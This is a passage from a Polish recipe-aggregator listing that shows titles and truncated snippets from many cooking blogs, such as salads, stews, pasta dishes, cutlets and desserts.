pomarańczy. Najlepiej robić to nad naczyńkiem, by złapać sok. Posłuży on do przygotowania pomarańczowego winegretu  z granatu uwolnić pestki z oleju, octu, soku z pomarańczy i miodu przygotować sos kapustę posolić i mocno wygnieść. Dodać pieprz, wymieszać z winegretem. Wyłożyć na półmisek, rozłożyć fileciki z pomarańczy i posypać pestkami granatu. Podawać schłodzoną

Gotuj zdrowo!Guten Appetit!
Zielona, warzywna zapiekanka z mięsem mielonym 267

Zapiekamy w temperaturze 160 stopni (przykryte folią aluminiową) przez 30 minut, a następnie, po zdjęciu folii aluminiowej jeszcze 20 minut, aby zapiekanka się przypiekła. Podajemy w głębokich talerzach, polane sosem, który się wytworzył na dnie. Artykuł Zielona, warzywna zapiekanka z mięsem mielonym pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Kuchnia Bazylii
Esencjonalny rosół 207

wychodzi nam klarowny, czysty bulion – nie ma sensu zawracać sobie głowy odszumowaniem. Dbamy o stały zapas rosołu, ponieważ w ogóle nie używamy kostek rosołowych do robienia zup i sosów. Mrozimy rosół w dużych, zamykanych woreczkach do mrożenia. Kładziemy je na płasko w zamrażalniku i układamy jak deseczki jeden na drugim:) Rosół można mrozić przez co najmniej miesiąc. Przeczytaj nasz

Niedzielny kucharz
Bitki wieprzowe w sosie kurkowym z groszkiem 206

szklankami wody, dodajemy kurki, groszek i natkę pietruszki. Przykrywamy, dusimy przez 1,5 godziny.  3. Pod koniec duszenia do garnka wlewamy mąkę rozmieszaną w odrobinie zimnej wody. Sos powinien lekko się zagęścić. Doprawiamy do smaku solą i przyprawami. Dusimy jeszcze chwilę

Szefowa kuchni
Brokułowe kotlety 176

tego, że super smakują to jeszcze szybko się robią :) Składniki: - 1 brokuł - 1/2 szklanki mąki ziemniaczanej - 1 łyżeczka pieprzu czarnego - 1/2 łyżeczki pieprzu ziołowego - 1 łyżeczka delikatu - 2 łyżeczki sosu sojowego - 1 łyżeczka papryki słodkiej - szczypta lubczyku i oregano, curry - sól do smaku - bułka tarta - olej do smażenia Przygotowanie: Brokuła dzielimy na różyczki i gotujemy 10 minut w osolonej wodzie

Zainspirowana w kuchni
TARTA Z GROSZKIEM I KIEŁBASĄ 186

kiełbasy / mięsa wcześniej ugotowanego lub usmażonego 300 g zielonego groszku (mrożony/świeży/konserwowy) 4 jajka rozm. L 150 ml słodkiej śmietanki 18% łyżka mąki pszennej (do zagęszczenia sosu) pęczek natki pietruszki sól, pieprz i gałka muszkatołowa do smaku olej do smażenia Sposób przygotowania ciasta: Masło musi być mocno schłodzone. Kroję je na małe kawałeczki i wraz z mąką, solą

W kuchni Karmel-itki
Sałatka z frikeh, mango i fety 200

cebuli pokrojonej w piórka i osolonej opakowanie sera feta pokrojonego na kawałki szczypiorek drobno posiekany Przepis na sałatkę z frikeh, mango i fety Frikeh ułożyć w miseczce i polać sosem ukręconym z harrisy, oliwy, octu, cynamonu i pieprzu. Obok ułożyć w osobnych kubkach pomidory, mango i ogórka. Udekorować cebulą, serem feta i szczypiorkiem. Jeśli zabieramy sałatkę do pracy możemy wszystkie

Ugotowane pozamiatane
Sałatka z tortellini i brokułami z sosem jogurtowym 249

dente. Jogurt łączymy z majonezem, sokiem z cytryny, zmiażdżonym czosnkiem i koperkiem. Doprawiamy solą i pieprzem. Wystudzone tortellini mieszamy delikatnie z brokułem i pokrojonymi w dzwonka pomidorami. Całość polewamy sosem

Qchnia po prostu
Restauracja hiszpańska La Iberica ul. Burakowska 5/7 230

starają się”. Plus za szczerość, ośmiornica była idealna, jak i cała sałatka. I znowu – czemu jej było tak mało Jagnięcinę także zjedliśmy z olbrzymim apetytem, była miękka, sos był pyszny i aromatyczny. Na koniec postawiliśmy na klasyczny hiszpański deser czyli churros. Pyszne MOJA OPINIA Zwiększcie porcje, macie tak dobre jedzenie Chętnie wrócę tam po raz kolejny. W restauracji

nietylkopasta.pl
Placuszki z płatków owsianych i maślanki 181

Zostawić na 10 minut. Na patelnię wlać olej, nakładać łyżką porcję ciasta. smażyć z obydwu stron na złoty kolor. Smażyć na średniej temperaturze. Obsypać placuszki cukrem pudrem, można polać sosem klonowym. Mniam, smacznego

Kuchnia Pokoleń
Łosoś w sosie śmietanowym z bazylią, suszonym pomidorem i żurawiną 203

Dzień Dobry :-) Pyszny łosoś w sosie śmietanowym ze świeżą bazylią, suszonym pomidorem o żurawiną. Uwielbiam tak przygotowaną rybkę, w ogóle je bardzo lubię, mam nadzieję, że Wy też :-) U nas to tego była kasza orkiszowa. Miłej środy kochani :-) Składniki: 300-400 g filetu z łososia 100 ml śmietanki 30% 7-8 suszonych pomidorów listki świeżej bazylii  1 szklanka żurawiny

kruche babeczki
Kotlety z pęczaku i selera naciowego 171

wbić jajko, przyprawić do smaku i bardzo starannie wyrobić masę. Formować na dłoni małe kotlety i smażyć na rozgrzanym oleju z obu stron na złoty kolor. Podawać z dowolnym sosem lub sezonową surówką

Tradycyjna Kuchnia
Szybki gulasz z wieprzowiny 145

gorący tłuszcz i smażymy, potem po 3-4 min. dodajemy pokrojoną cebulę. Dusimy pod przykryciem 4-5 min., można lekko podlać 1/2 szkl. wody, potem  przygotowujemy zaklepkę na sos: 200 ml mleka, czubata łyżka mąki, pół łyżeczki przyprawy. -- Łączymy ze sobą w słoiku i mieszamy porządnie, następnie wlewamy całość na patelnię. Mieszając, przegotowujemy całość około

chleba naszego
Placuszki z mascarpone 705

Puszyste placuszki z mascarpone, idealnie sprawdzają się na śniadanie, polane ulubionym sosem, np. truskawkowym. Artykuł Placuszki z mascarpone pochodzi z serwisu

NiePieprz.pl
GALANTYNA DROBIOWA 267

Galantyna drobiowa jest pyszną odmianą dla wędliny. Dodatkowo możemy podawać ją na zimno w formie przystawki jak i na ciepło polaną sosem. Dzięki gotowaniu na parze mięso jest wilgotne i łatwo się kroi. Rolady nie zawierają jajek ani zbóż zawierających gluten. Przepis polecam również dla dzieci jako urozmaicenie na talerzu ! SKŁADNIKI: 2 nogi z kurczaka 2 piersi z kurczaka

Marcepanowa kuchnia
Sałatka z boczkiem, łubinem i czarną quinoą 225

trochę się zrumienił i wytopił tłuszcz. Suszone pomidory namaczamy, a gdy zmiękną kroimy na paski. Sałatę rwiemy na kawałki i układamy na talerzu, dodajemy, boczek, pomidory, łubin. Polewamy wszystko sosem z oliwy i octu z dodatkiem soli i pieprzu Na koniec posypujemy kiełkami cebuli

Quinoa Raz!
Makaron z brokułem i boczniakami w sosie orzechowym 169

Sos orzechowy to moje nowe odkrycie:). Świetnie pasuje do brokuła a także do innych warzyw. W wersji mięsnej możemy dodać kurczaka.  1 brokuł 100g makaronu rurki 250g boczniaków 2 łyżki masła orzechowego 3 łyżki śmietany 18% 1 ząbek czosnku olej sól, pieprz  1. Z brokuła odcinamy różyczki. Gotujemy do miękkości w osolonej wodzie. Makaron gotujemy zgodnie z przepisem

Szefowa kuchni
#8 Sałatka z kurczakiem i awokado 250

umyć pod ciepłą wodą, nie trzeba go obierać) i kroimy w półplasterki. Słonecznik prażymy na suchej patelni. Wszystkie składniki wykładamy na talerze bądź do misek.  Dodatkowo można przygotować sos na bazie jogurtu z ziołami, pieprzem, solą i ewentualnie czosnkiem. Ja polecam dressing miodowo-musztardowy: 2 łyżeczki ostrej musztardy (np. rosyjskiej) łyżeczka miodu łyżeczka soku z cytryny 2-3 łyżki

Taste of imagination
Ryż po meksykańsku 253

odsączoną kukurydzę i fasolkę. Duś aż zgęstnieje, czyli z pomidorów odparuje nadmiar wody.  Wymieszaj z ugotowanym ryżem i duś ok. 3 minut. Możesz także podawać oddzielnie tj. obok sos i ryż. Wykładać do miseczek. Możesz podać z obranym i pokrojonym awokado. Smacznego, Anulla

Fabryka pomysłów
Makaron ze szpinakiem i kurczakiem 178

minut. Na koniec dodaj śmietanę, dopraw do smaku i duś jeszcze ok. 3 minut. W tym czasie ugotuj makaron według instrukcji na opakowaniu. Ugotowany makaron połącz z sosem i dobrze wmieszaj. Makaron ze szpinakiem i kurczakiem podawaj od razu po przyrządzeniu. Jeśli chcesz, możesz posypać se startym parmezanem. Smacznego Artykuł Makaron ze szpinakiem i kurczakiem pochodzi z serwisu

365 dni dookoła kuchni
Tarta z kapustą i grzybami 161

przykryciem przez około 30 min (do miękkości warzyw). Do smaku doprawiamy solą i pieprzem. Dodajemy śmietaną, pokrojony ogórek kiszony i mieloną paprykę. Dusimy jeszcze przez 10 min. Tak przygotowany sos łączymy z kapustą. Ciasto rozwijamy w formie do tarty, nakłuwamy widelcem i lekko zapiekamy w temperaturze 200°C . Następnie na ciasto wylewamy farsz grzybowo-kapuściany i zapiekamy

R'n'G Kitchen
Rolada z wędzonym łososiem i szpinakiem 286

szpinakiem to danie które zaspokoi duży głód. Ciasto francuskie, wędzony łosoś i spora porcja ciągnącego się sera to jest to co lubię. Z dodatkiem ulubionej mieszanki sałat w sosie winegret może stanowić pełnowartościowy posiłek. Jestem przekonana, że świetnie sprawdzi się na imprezie. Wszystkie przystawki z ciastem francuskim cieszą się zawsze dużym powodzeniem. Pierwszy raz spróbowałam tego połączenia właśnie

Pieguskowa Kuchnia
Przepis 119 # Kurczak Curry 193

Witajcie, pomysł na zrobienie kurczaka w sosie curry chodził mi już po głowie od dłuższego czasu. W końcu postanowiłam go zrobić i... od tego momentu stał się jedną z najczęściej goszczących potraw na moim stole. Połączenie delikatnego mleczka kokosowego oraz mięsa z dość intensywnym smakiem pasty curry to dla mnie połączenie idealne. Plusem jest to, że danie dość szybko się

Health-Fit-Life
Pieczona fasola w sosie pomidorowym 175

Cześć Wszystkim! :) Dziś zapraszam na pieczoną fasolę w pomidorowym sosie z dodatkiem papryki, sera typu feta i świeżej bazylii. Do przygotowania porcji dla 2 osób będziemy potrzebować: - 1 puszkę białej fasoli - 1 puszkę krojonych pomidorów - 1 czerwoną paprykę - 1 żółtą paprykę - pół opakowania sera typu feta - 3 ząbki czosnku - 1 szklankę wody - sok z połowy cytryny - pół łyżeczki cukru

Bez Cebuli
Bagietki nadziewane kurczakiem i serem 228

się nie spaliły. Wkładamy je do piekarnika nagrzanego do 180 stopni na 15 minut, by ser się rozpuścił, a kurczak zagrzał. 5 Kroimy na porcje. Podajemy z ulubionymi sosami lub ketchupem. Artykuł Bagietki nadziewane kurczakiem i serem pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Kuchnia Bazylii
Kotlety ziemniaczane z twarogiem 160

dziesiątkę. Idealnie nadają się jako dodatek do burgera, a jednocześnie mogą stanowić samodzielny posiłek. Możecie zabrać je ze sobą do pracy wraz z dodatkiem jakim może być ulubiony sos czy sałatka. Kotleciki ziemniaczane z twarogiem są bardzo pożywne i do tego pięknie pachną – co jest zaletą czarnuszki, która posypałam ich wierzch. Kotleciki pieczemy w piecu dzięki czemu są zdecydowanie

Życie ze smakiem
Sałatka z tuńczyka i selera naciowego 167

najbardziej ten chrupiący seler,to właśnie on nadaje sałatce fajnego smaku. 4 łodygi selera naciowego 1/2 dużego twardego i kwaskowatego jabłka (użyłam Granny Smith) 1 puszka tuńczyka w sosie własnym (185g) 3 łyżki kukurydzy 2-3 łyżki majonezu sól  i  pieprz do smaku Tuńczyka osączyć z zalewy i lekko rozdrobnić.  Seler i jabłko pokroić w kosteczkę.,dodać

Kolorowa kuchnia Elki
Spaghetti z tuńczykiem, czarnymi oliwkami i kaparami 164

Wrzuciłem na patelnię, dodałem kilka łyżek wody i zmielony pieprz. Gotowałem na wolnym ogniu ok. 5 minut. Ugotowałem makaron al dente, w lekko osolonej wodzie. Po odcedzeniu dodałem do sosu

R'n'G Kitchen
Zupa chińska z pierożkami 229

Mięso odłożyć. I włożyć do lodówki lub zamrażarki. Proponuje zrobić z mięsa potrawkę patrz tu http://kuchniapokolen.pl/potrawka-z-kurczaka/ Do czystego rosołu dodać pokrojoną drugą marchew na bardzo cienkie paseczki, sos sojowy, potarty imbir, makaron, 1 łyżkę posiekanego szczypiorku i gotować następne 10 minut. Ponownie doprawić do smaku pieprzem. Dodać liście kapusty i gotować 30 sek do minuty. Przygotowanie farszu

Kuchnia Pokoleń
Roladki wieprzowe z piekarnika 233

zwijać w roladki, spiąć wykałaczką i układać w naczyniu żaroodpornym posmarowanym masłem. Wstawić od piekarnika nagrzanego do 200 stopni i piec około 40 minut podlewając co jakiś czas powstałym sosem. Pod koniec pieczenia zdjąć pokrywkę z naczynia aby roladki ładnie się zarumieniły

Tradycyjna Kuchnia
Szaszłyki z jogurtowego kurczaka z brokułowym tabbouleh 239

godzinę aby tabbouleh przeszło. Ugrillowane szaszłyki podaj z brokułowym tabbouleh i miętowym jogurtem. P.S. Miętowy jogurt to jogurt wymieszany z suszoną miętą pieprzową i lekko doprawiony solą. Idealny sos zwłaszcza do grillowanego mięsa.       Spara Spara Spara Spara The post Szaszłyki z jogurtowego kurczaka z brokułowym tabbouleh appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Kurczak w sosie smietanowo - musztardowym 219

czasu aż sok który puszczą prawie odparuje. Następnie dodać cebulę i mięso. Smazyć około 5 minut. Dodać musztardę, śmietanę i wodę. Dusić tak długo, aż mięso będzie miękkie, a sos ładnie się zredukuje. Doprawić solą i pieprzem i można podawać. Smacznego

kuchnia doski
Szynka duszona z cebulą i majerankiem 222

dusić 10-15 minut do momentu aż cebula rozpadnie się zamieniając w sosik.  Szynkę w międzyczasie trzeba obracać. Należy również uzupełniać wodę, która wyparuje.  Na koniec sos można doprawić jeszcze solą i pieprzem oraz uzupełnić wodą jeśli jest nazbyt gęsty.  Po uduszeniu szynkę zostawić na 5 minut na desce lub talerzu żeby odpoczęła. Następnie pokroić w grube

Ze smakiem bez glutenu
Panna cotta z musem z mango 281

polskie nazwa oznacza “gotowana śmietanka”. Przygotowanie jest banalnie proste, wystarczy podgrzać śmietankę z wanilią, mlekiem, dodać żelatynę i gotowe. Schłodzony deser zazwyczaj podajemy z musem albo sosem owocowym. Moja panna cotta dzisiaj podana jest z lekkim musem z mango, ale równie dobrze smakuje z frużeliną wiśniową lub truskawkową . Panna cotta z musem z mango Panna cotta

Pieguskowa Kuchnia
KURCZAK PIECZONY W BIAŁYM WINIE 163

minut bez przykrycia. *przebijamy najgrubszy kawałek kurczaka, jeżeli wypływający sok jest przeźroczysty, to znaczy, że mięso jest już gotowe. Rozkładamy porcje na talerzach a do pozostałego w naczyniu sosu wsypujemy natkę pietruszki, mieszamy i polewamy tym mięso. Smacznego

Moja Książka Kucharska
Surówka z kapusty z octem ryżowym 132

niej startą na najmniejszych oczkach marchewkę, pokrojoną w drobną kostkę cebulę i rozdrobniony czosnek. Do słoika wlewamy ocet, olej, sok z cytryny, dodajemy cukier, zamykamy i energicznie mieszamy. Sos wlewamy do kapusty, całość doprawiamy solą i świeżo mielonym pieprzem, dokładnie mieszamy. Wkładamy do lodówki

Kardamonovy
Tapenada (pasta z oliwek) wg Aleex 161

ogień, rozgrzewający nas po spacerze w chłodną noc, przepyszny, gorący bulion z tortellini z farszem mięsnym i Grana Padano, niezwykle aromatyczna i wyrazista w smaku pasta all’amatriciana z sosem pomidorowym, boczkiem, czosnkiem i ostrą papryką oraz gorąca herbata. Jednak najbardziej zapamiętałam z tej nocy przystawkę, którą dostałyśmy w ramach oczekiwania na posiłek. Była to cudownie smakująca tapenada z gorącymi

W mojej kuchni
Pałki pieczone 303

Składniki: 1 kg pałek z kurczaka marynata: 1 łyżka ajvaru ostrego Podravka 2 łyżki słodkiego sosu chili 2 łyżeczki marynowanego zielonego pieprzu 2 ząbki czosnku 2 łyżeczki jarzynki Przygotowanie: Ajvar … Czytaj dalej Pałki pieczone

czarrna od kuchni
Super proste placuszki 245

samorosnąca, więc szybko zabrałam się do pracy. Rzeczywiście przepis jest bardzo łatwy a placuszki są smaczne zarówno z dodatkami wytrawnymi jak i  ze słodkimi. Pysznie smakowały z  sosem z pieczonych pomidorów , który ostatnio robiłam. Świetne były również podane z gęstym jogurtem, polane syropem klonowym i posypane pestkami granatu. Polecam! składniki: 1 jajko 1 szklanka mąki samorosnącej 1 szklanka

Stare Gary
Pesto alla genovese (pesto bazyliowe) 250

pesto z bazylii, orzeszków, oliwy z oliwek i parmezanu.  Najpopularniejsza opcja serwowania to makaron z pesto, jednak smakuje równie dobrze z pieczywem, kurczakiem, rybami lub jako podstawa do sosu sałatkowego!  Pesto może stać w lodówce do tygodnia. Możemy je również zamrozić. Składniki na mały słoiczek: 1 doniczka bazylii  3 garście orzeszków piniowych lub orzechów włoskich 3 łyżki

Czarnawisienka
Filet z kurczaka w sosie pieprzowym 179

Pieprzowy kurczak w sosie śmietanowy. Dosyć często go robię bo wszystkim smakuje. Składniki: Filet z kurczaka pojedynczy 4 szt. Pieprz mielony 1 łyżeczka Papryka mielona  wędzona ½ łyżeczki Masło 2 łyżki Olej rzepakowy 4 łyżki Śmietanka kremówka 150 gram Sól do smaku Przygotowanie: Mięso opłukać, osuszyć i pokroić w paski. Następnie natrzeć pieprzem i przełożyć na patelnię z rozgrzanym olejem

Tradycyjna Kuchnia
Bitki wołowe w sosie własnym 216

Pyszne, rozpływające się w ustach bitki  wołowe w sosie własnym podane z  kluskami śląskimi  i  czerwoną kapustą   to mój ulubiony zestaw obiadowy. Składniki: 700 g wołowiny 1 duża cebula 2 ząbki czosnku 1/2 litra bulionu wołowego 2/3 szklanki czerwonego wina  mąka do obtoczenia olej do smażenia słodka czerwona papryka 3 ziarenka ziela angielskiego

magiczna kuchnia Kasi
Deser z chia z sosem czekoladowym 181

Jeśli lubisz galaretkę to deser z chia też polubisz. Często jest określany jako pudding chia, ale deser z chia czy pudding z chia... The post Deser z chia z sosem czekoladowym appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Spaghetti z dyni aglio e oglio 134

makaron. Z upieczonej dyni bez problemu można widelcem oddzielić pojedyncze niteczki miąższu, przypominające makaron spaghetti (no albo może bardziej cienki makaron). Można go podać na różne sposoby, również z sosem al ragu. Squash potrzebuje wyrazistego towarzystwa, bo dynia sama w sobie jest raczej mdła w smaku. My proponujemy squash w formie makaronu aglio e eglio. Smażony czosnek pięknie aromatyzują danie

Niedzielny kucharz
Sałatka z tuńczykiem 187

Cześć Wszystkim! :) Dziś zapraszam na pożywną sałatkę z brązowym ryżem, tuńczykiem i warzywami. Do przygotowania porcji dla 3 osób będziemy potrzebować: - 1 woreczek brązowego ryżu - 1 puszkę tuńczyka w sosie własnym - 1 słoik mieszanki marchwi, groszku i kukurydzy (470 g/282 g po odsączeniu) m.in. firma Kotlin ma takie mieszanki w swojej ofercie - 5 suszonych pomidorów - 1 łyżkę oleju z suszonych

Bez Cebuli
Co siedzi w jajku? 272

kilka pysznych przepisów Frittata z kabanosami, porem i serem pleśniowym Zapiekanka na grzance z kalafiorem i jajkiem z dodatkiem parmezanu Jajka faszerowane awokado Jajka w sosie musztardowo-chrzanowym Opiekane kanapki z serem pleśniowym i jajkiem w koszulce Marynowane jajka marmurkowe Jajka sadzone na świeżym szpinaku, z pieczarkami i pomidorem Puszyste i lekkie kotleciki z jajek i tuńczyka Zapiekanka ziemniaczana

Codzienna kuchnia niecodzienna
Warzywne spaghetti 190

drobno posiekać i udusić na maślę z pokrojonymi pieczarkami.  Następnie zaciągnąć śmietanką, przyprawić do smaku, dodać odsączony groszek, posiekaną natkę pietruszki i zagotować. Makaron rozłożyć na talerze , polać sosem warzywnym i obłożyć paseczkami sera

Tradycyjna Kuchnia
Prosty łosoś pieczony z sosem beszamelowym 278

Super prosty do zrobienia łosoś pieczony w piekarniku polany domowym sosem beszamelowym i podany z makaronem. Do tego świeże zioła i dowolne warzywa. To dopiero świetny pomysł na obiad każdego dnia.  Jeśli lubisz dania rybne, to być może zaciekawi Cię przepis na najlepszą rybę po grecku

AniaGotuje.pl
Prowansalskie frytki z selera 199

frytki. 2.  Skropić oliwą, obsypać ziołami, solą i pieprzem. 3.  Piec w piekarniku nagrzanym do 200 stopni przez około 20-30 minut. 4.  Podawać z różnymi sosami jako dodatek do dań mięsnych

Szalona Kuchnia Eweliny
Chana Masala i chleb Naan 169

dynię, pasatę pomidorową oraz pozostałą ilość mleka kokosowego. Wlać pół szklanki wody, dodać szczyptę soli i gotować pod przykryciem przez 20 minut, mieszając od czasu do czasu. Gotować aż sos będzie kremowy i gęsty, a dynia miękka. Podawać z ryżem Basmati posypanym dużą ilością świeżej kolendry lub chlebkami Naan. Zajadamy się jednym i drugim. Składniki na chleb Naan (odmierzane szklanką

Karola gotuje
Gulasz ziemniaczany z groszkiem i czerwoną fasolką 192

ziemniaki będą al dente. Do wpół miękkich ziemniaków wrzucamy mrożony groszek i gotujemy aż oba warzywa będą miękkie. Na sam koniec wrzucamy czerwoną fasolkę i dokładnie mieszamy. Powstały sos zaprawiamy śmietaną oraz mąką by był gęstszy. Doprawiamy solą, czerwonym pieprzem oraz natkę pietruszki. Smacznego! Przepis dodaję do akcji „Akcja kulinarna: Nasiona roślin strączkowych na talerzu 2” na durszlak.pl

Życie ze smakiem
Placki warzywne na puree z pietruszki 186

pewnością przypadną Wam do gustu moje placki warzywne. Ja czasem tęsknię do chrupiących na brzegach placuszków, które robiła moja babcia. U nas placki ziemniaczane jadało się same albo z sosem pieczarkowym, a czasami z cukrem. Jako dziecko uwielbiałam wersję na słodko, jednak dziś z wiadomych względów (cukrzyca) na nie się nie skuszę. Czasy dzieciństwa bezpowrotnie minęły, zmieniły się też moje

Dietolog
Placuszki babanowe z kokosowym sosem 141

wersja jest bliższa Waszemu sercu :-) Składniki na placuszki: 1 szklanka mąki 3 łyżeczki cukru lub cukru waniliowego jajko 2 łyżki oleju 1/2 szklanki mleka 2 banany czerwony barwnik na sos kokosowy : 200 ml mleczka kokosowego 1 łyżeczka mąki ziemniaczanej 1 łyżeczka cukru pudru sok i otarta skórka z limonki lub cytryny Przygotowanie : Banany miksujemy razem z mlekiem olejem i jajkiem

Życie zaczyna się w kuchni
Placki kukurydziano - serowe 188

żółty użyty do placków powinien łatwo się topić. Może to być gouda, ementaler, edam, cheddar (biały i czerwony). Placuszki można podać z kwaśną śmietaną (jak u mnie), ketchupem czy sosem czosnkowym. Źródło przepisu:   BuzzFeed

Gospodyni Miejska
Grillowana cukinia z warzywami po grecku (dieta dr Dąbrowskiej) 254

wegański wywar warzywny zupę z kiszonych ogórków sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym wegańską kalafiornicę frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony

Kulinarne przygody Gatity
Kanapka z matiasem i krewetkami 277

pieprzem - możemy dodać musztardę ziarnistą. Kromki chleba smarujemy masłem, układamy seler, następnie kawałki śledzia, pokrojone w słupki jabłko,  cieniutkie plasterki kopru włoskiego i krewetki.  Całość polewamy sosem majonezowym i posypujemy świeżo zmielonym pieprzem

Plate of Joy
Dyniowe curry z kurczakiem i fasolką 267

kurczaka, zielonej fasolki i śnieżnobiałej porcji ryżu :D Całość raduje nie tylko kolorami ale także mnóstwem aromatów ciepłych Indii i wspaniałym smakiem :) Wyraziście przyprawiona dynia i kurczak w słonecznym sosie rozjaśnią myśli i ogrzeją oplecione Lutym podniebienia, a zielone dodatki pod postacią chrupiącej fasolki i rzutu natki pietruszki dostarczą wzmocnienia na resztę dnia. Nie czekajcie! Sami rozpędźmy szarości tym pysznym

Kuchnia w Słońcu Skąpana
Pierogi z soczewicą 243

dużym garnku zagotować wodę, lekko ją osolić i dodać pół łyżeczki oleju. Pierogi kłaść na gotującą się wodę. Gotować ok 3 minut od wypłynięcia. Podawać z ulubioną zasmażką lub sosem. Smacznego ;-) Przepis bierze udział w akcji

Zielona Kuchnia
Panzanella – wersja zimowa sałatki z pomidorów i sucharków 219

pomidorów Sucharki ułożyć na talerzu (jeden obok drugiego). W miseczce wymieszać czosnek, pieprz, sok i skórkę z cytryny, oraz sok z odsączonej puszki pomidorów i fasoli. Zalać sucharki tym sosem. Ułożyć na nich pomidory i paprykę. Posypać kawałkami ogórka i cebuli. Udekorować anchois, bazylią, kaparami i odrobiną oliwy. Podawać od razu. Artykuł Panzanella – wersja zimowa sałatki z pomidorów

Ugotowane pozamiatane
SŁODKIE WALENTYNKOWE SERCE 169

litra wrzątku Zapach arakowy ½ soku z cytryny Biszkopt : Wodę, cukry, masło i kakao umieścić w żaroodpornym naczyniu, doprowadzić do wrzenia. Wystudzić.  Białka ubić na sztywną pianę. Do kakaowego sosu dodajemy pojedynczo żółtka oraz przesianą mąkę z proszkiem do pieczenia. Na koniec dodajemy ubite białka, mieszamy delikatnie. Przelewamy do formy w kształcie serca (ok24cm) pieczemy 50 minut

Słodki Zakątek
Kotlety sojowe w cieście serowym z curry 158

się na taki obiad. Polecam! 150g kotletów sojowych (u mnie big steaki - Radix-Bis )  Wywar (*) : 1 litr wody 2 listki laurowe 2 ziarna ziela angielskiego 2 ząbki czosnku sos sojowy (wg smaku) pieprz Ciasto: 1 szklanka mleka 1 jajko 100g maki pszennej 100g żółtego sera 1 łyżeczka curry (lub wg gustu) sól Ponadto: mąka pszenna do oprószenia olej

Di gotuje
Szybka przekąska – pieczarki w panierce 384

pieczarki jajko bułka tarta sól pieprz olej do smażenia Pieczarki oczyszczam. Do rondelka wlewam olej, podgrzewam. Pieczarki moczę w posolonym jajku, bułce i wrzucam na olej. Świetnie smakuje z sosem czosnkowym. Artykuł Szybka przekąska – pieczarki w panierce pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Mleko kokosowe - szybki przepis 181

mamy mleko bardziej esencjonalne np do picia. Jeśli ktoś ma ochotę na mleko jeszcze bardziej treściwe, należy zmniejszyć ilość wody. Przygotowując mleko które ma być bazą zupy lub sosu, zalewam wiórki kokosowe jeszcze raz. Tym razem 0,5 litra wrzątku, ponownie blenduję i przecedzam. Mleko przechowuję w szklanej, zakręcanej butelce do 3 dni w lodówce. Podczas  przechowywania w lodówce

Szkrab Je Sam
Kalafior w sosie marchewkowo kokosowym 137

kostkę. Przykrywamy pokrywką i gotujemy na średnim gazie. Sprawdzamy co jakiś czas miękkość ziemniaków, gdy będą miękkie, zdejmujemy z gazu. Blendujemy na głado. Na tym etapie możemy dosolić. Do sosu dodajemy różyczki kalafiora, mieszamy i wstawiamy ponownie na gaz, doprowadzamy do wrzenia, danie gotowe. Podajemy z kaszą, ryżem lub makaronem i rukolą

Szkrab Je Sam
Chicken Tikka Masala 199

gotować około 15 minut bez przykrycia tak, aby całość zgęstniała. Można dodać soli do smaku. Na osobnej suchej patelni prażyć przez kilka minut płatki migdałowe aż lekko się przyrumienią. Sos posypać posiekaną kolendrą i migdałami. Podawać z ryżem (mój ulubiony Basmati) lub chlebkami Naan

Karola gotuje
Śledzie z kurkami marynowanymi 262

śledzia… i nie tylko. Gorąco polecam i życzę smacznego.   Śledź w roli głównej – przepisy na blogu: Śledzie iwasi w oleju, z różowym pieprzem Śledzie po japońsku Śledzie w sosie jogurtowo majonezowym Śledzie bazyliowo czosnkowe Śledzie w oleju Barszcz śledziowy Śledzik Wydrukuj przepis The post Śledzie z kurkami marynowanymi appeared first on Moje Wypieki I Nie Tylko

mojewypiekiinietylko
Sałatka z pieczonego buraka z wędzonym łososiem 188

oczywiście mniej jeżeli nie przepadacie za jego smakiem.  Na talerzu ulozyc zieleninę, na niej układać upieczonego buraka. Pomiędzy kawałkami buraka układać plastry łososia. Wszystko polać w kilku miejscach sosem chrzanowym. Udekorować kilkoma gałązkami koperku.  --------------------- *Buraki można upiec wcześniej i wykorzystać do innych potraw. Polecam od razu upiec większą ilość buraków lub piec je przy okazji pieczenia czegoś innego

Codzienne Gotowanie
Surówka z jarmużu, rukoli, tofu i granatów 133

Prawdziwa bomba zdrowia w jednej surówce. Jarmuż, tofu i pestki świeżego granatu. Dodajmy do tego świeżą rukolę, sos winegret i mamy świetny dodatek do obiadów. Pasuje do wszystkich dań, które są delikatne (na przykład kurczaka w klasycznych daniach). Co ważne, da się ją zrobić w 15 minut (a nawet w 10 jak się pospieszymy

Milion Smaków
suflet z pieczarek i piersi kurczaka 230

wierz wyłożyć ubita pianę z majonezem i mąkami.  Piec około 45-50 minut w temperaturze 180 ° C .  Po upieczeniu pokroić na kwadraty,podawać z surówka ,keczupem,sosem śmietanowym. Smakowite na ciepło i zimno.. Można jako drugie śniadanie do pracy,do szkoły,co kto woli,obiad ,śniadanie ,kolacja.:)) przyprawa do kurczaka Zmielić w młynku 4 liście laurowe

w mojej kuchni
Wtorek: Spaghetti z rzepy z groszkiem i polędwiczką 166

Mała polędwiczka wieprzowa 250 g zielonego groszku (może być mrożony) Pół papryczki chilli 1 łyżeczka tymianku 1 łyżeczka oregano 1/2 łyżeczki miodu 1/2 łyżeczki soku z cytryny 1 łyżka sosu sojowego (opcjonalnie) 3 łyżki oleju 2 łyżki gęstego jogurtu naturalnego 3 łyżki siekanej natki z pietruszki albo bazylii 2 łyżki tartego parmezanu Sól do smaku Przygotowanie: Krok 1 Polędwiczkę przekrój

Niedzielny kucharz
Sałatka z suszonymi pomidorami i serem feta 166

główki sałaty lodowej pół zielonej papryki 5 kawałków suszonych pomidorów w zalewie 4 łyżki pestek dyni 100 g sera feta 3 dymki (białe części) lub 2 młode cebulki Sos : 5 łyżek oleju ze słoika z suszonymi pomidorami 1,5 łyżki soku z limonki 1 łyżka syropu klonowego sól i pieprz Przygotowanie Sałatę opłukałem, osuszyłem, porwałem na mniejsze kawałki, włożyłem

R'n'G Kitchen
PLACUSZKI Z CUKINII I MARCHEWKI 209

